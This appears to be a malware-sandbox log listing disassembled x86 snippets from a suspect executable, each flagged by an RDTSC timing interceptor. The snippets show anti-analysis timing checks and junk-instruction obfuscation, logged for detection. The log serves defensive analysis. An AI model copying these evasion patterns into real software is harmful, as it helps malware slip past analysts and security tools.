Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF54D second address: EDF566 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jg 00007F3B80B67556h 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 push ebx 0x00000011 jc 00007F3B80B6755Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC816 second address: EDC81A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDE856 second address: EDE85A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF566 second address: EDF5DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 nop 0x00000006 mov dword ptr [ebp+122D1DABh], eax 0x0000000c push 00000000h 0x0000000e call 00007F3B813BFB90h 0x00000013 mov ebx, dword ptr [ebp+122D3A51h] 0x00000019 pop ebx 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007F3B813BFB88h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 00000015h 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 jmp 00007F3B813BFB97h 0x0000003b push eax 0x0000003c pushad 0x0000003d pushad 0x0000003e push ebx 0x0000003f pop ebx 0x00000040 pushad 0x00000041 popad 0x00000042 popad 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F3B813BFB94h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE07C7 second address: EE07CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE2307 second address: EE230B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE07CB second address: EE084C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 jmp 00007F3B80B6755Eh 0x0000000d push dword ptr fs:[00000000h] 0x00000014 movsx ebx, ax 0x00000017 mov dword ptr fs:[00000000h], esp 0x0000001e push 00000000h 0x00000020 push ebp 0x00000021 call 00007F3B80B67558h 0x00000026 pop ebp 0x00000027 mov dword ptr [esp+04h], ebp 0x0000002b add dword ptr [esp+04h], 00000014h 0x00000033 inc ebp 0x00000034 push ebp 0x00000035 ret 0x00000036 pop ebp 0x00000037 ret 0x00000038 mov bx, 67C3h 0x0000003c mov eax, dword ptr [ebp+122D0A91h] 0x00000042 or edi, dword ptr [ebp+122D3A1Dh] 0x00000048 push FFFFFFFFh 0x0000004a jmp 00007F3B80B67569h 0x0000004f nop 0x00000050 pushad 0x00000051 jmp 00007F3B80B6755Dh 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE084C second address: EE085E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3B813BFB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE085E second address: EE0862 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE0862 second address: EE0868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE23A4 second address: EE23B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F3B80B67556h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE0868 second address: EE087C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3B813BFB90h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE23B4 second address: EE23C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67560h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE087C second address: EE0880 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE171A second address: EE171F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3446 second address: EE344B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE344B second address: EE3451 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3451 second address: EE3455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5514 second address: EE5518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE5518 second address: EE55C0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3B813BFB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c jmp 00007F3B813BFB8Fh 0x00000011 nop 0x00000012 mov ebx, dword ptr [ebp+122D1BA7h] 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007F3B813BFB88h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 mov dword ptr [ebp+122D2061h], edi 0x0000003a jmp 00007F3B813BFB98h 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push esi 0x00000044 call 00007F3B813BFB88h 0x00000049 pop esi 0x0000004a mov dword ptr [esp+04h], esi 0x0000004e add dword ptr [esp+04h], 00000018h 0x00000056 inc esi 0x00000057 push esi 0x00000058 ret 0x00000059 pop esi 0x0000005a ret 0x0000005b xor dword ptr [ebp+122D2C67h], edx 0x00000061 xchg eax, esi 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 jmp 00007F3B813BFB95h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE55C0 second address: EE55C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE55C4 second address: EE55CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE65EF second address: EE65F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE65F4 second address: EE65FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE65FA second address: EE6648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007F3B80B6755Ch 0x0000000f push 00000000h 0x00000011 and edi, dword ptr [ebp+122D2C1Dh] 0x00000017 push 00000000h 0x00000019 pushad 0x0000001a sub dword ptr [ebp+122D29E9h], esi 0x00000020 pushad 0x00000021 jmp 00007F3B80B6755Eh 0x00000026 push ecx 0x00000027 pop ebx 0x00000028 popad 0x00000029 popad 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F3B80B67561h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE57A2 second address: EE57A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE57A6 second address: EE57C9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3B80B67556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3B80B67567h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE3651 second address: EE3669 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B813BFB91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE85E7 second address: EE8604 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B80B67562h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE881B second address: EE881F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEA608 second address: EEA63A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3B80B6756Ah 0x00000008 jmp 00007F3B80B67564h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007F3B80B6755Dh 0x00000018 push edi 0x00000019 pop edi 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEF200 second address: EEF21D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pop eax 0x00000008 jbe 00007F3B813BFBB9h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F3B813BFB8Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF3D9F second address: EF3DAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F3B80B67556h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF3DAB second address: EF3DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF37B3 second address: EF37CF instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3B80B6755Eh 0x00000008 jno 00007F3B80B67556h 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jng 00007F3B80B67580h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6110 second address: EF6116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6116 second address: EF6140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F3B80B67556h 0x0000000a popad 0x0000000b ja 00007F3B80B6755Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F3B80B6755Fh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB7AC second address: EFB7B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB7B2 second address: EFB7B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F013D0 second address: F013F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F3B813BFB86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3B813BFB97h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F013F5 second address: F013F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F013F9 second address: F01420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007F3B813BFB93h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jo 00007F3B813BFB86h 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E94016 second address: E9401A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9401A second address: E9401E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F006B5 second address: F006CB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3B80B67556h 0x00000008 jg 00007F3B80B67556h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F006CB second address: F006CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F006CF second address: F006D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F00CF8 second address: F00CFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F00CFC second address: F00D08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F3B80B67556h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F00D08 second address: F00D47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B813BFB93h 0x00000007 jno 00007F3B813BFB86h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ecx 0x00000012 pushad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 jmp 00007F3B813BFB98h 0x0000001a push edx 0x0000001b pop edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9400C second address: E94016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F010F9 second address: F010FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F010FD second address: F0111B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F3B80B6755Dh 0x0000000c push esi 0x0000000d pop esi 0x0000000e jnp 00007F3B80B67556h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0124E second address: F01267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3B813BFB8Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F01267 second address: F01273 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnc 00007F3B80B67556h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F01273 second address: F01279 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F067FA second address: F06800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F06800 second address: F06822 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B813BFB98h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F06822 second address: F06826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F06826 second address: F0682A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F05696 second address: F056C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3B80B6755Bh 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F3B80B6755Ch 0x00000011 pushad 0x00000012 push edx 0x00000013 pop edx 0x00000014 jne 00007F3B80B67556h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jns 00007F3B80B67556h 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F056C8 second address: F056CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F056CC second address: F056D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F05861 second address: F05874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007F3B813BFB86h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F05874 second address: F05878 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F05878 second address: F0587E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0622B second address: F0626F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F3B80B6756Fh 0x0000000c jmp 00007F3B80B67569h 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 je 00007F3B80B67562h 0x0000001a pushad 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d jp 00007F3B80B67556h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0626F second address: F0628B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3B813BFB92h 0x00000008 jc 00007F3B813BFB92h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09DA7 second address: F09DB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09DB0 second address: F09DB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0D18F second address: F0D1A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3B80B67566h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0D1A9 second address: F0D1D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3B813BFB96h 0x00000007 jmp 00007F3B813BFB8Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F111BF second address: F111C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECDDF7 second address: ECDDFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECDDFB second address: ECDE0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b je 00007F3B80B67556h 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECDE0D second address: ECDE17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F3B813BFB86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE02F second address: ECE033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE0D7 second address: ECE0E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F3B813BFB86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE0E1 second address: ECE11B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 mov dl, F5h 0x0000000b nop 0x0000000c ja 00007F3B80B67562h 0x00000012 push eax 0x00000013 pushad 0x00000014 push esi 0x00000015 jmp 00007F3B80B67565h 0x0000001a pop esi 0x0000001b push esi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE435 second address: ECE479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F3B813BFB88h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 mov di, 813Bh 0x00000029 push 00000004h 0x0000002b mov edi, 1D907F00h 0x00000030 push eax 0x00000031 push ebx 0x00000032 push eax 0x00000033 push edx 0x00000034 jnl 00007F3B813BFB86h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE479 second address: ECE47D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE7C9 second address: ECE7CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE7CD second address: ECE7D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE7D1 second address: ECE7E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE7E3 second address: ECE7E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECE7E7 second address: ECE7ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEB4F second address: ECEB79 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3B80B67556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F3B80B67564h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jng 00007F3B80B67558h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEB79 second address: ECEB7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEB7F second address: ECEB83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECEB83 second address: ECEB87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
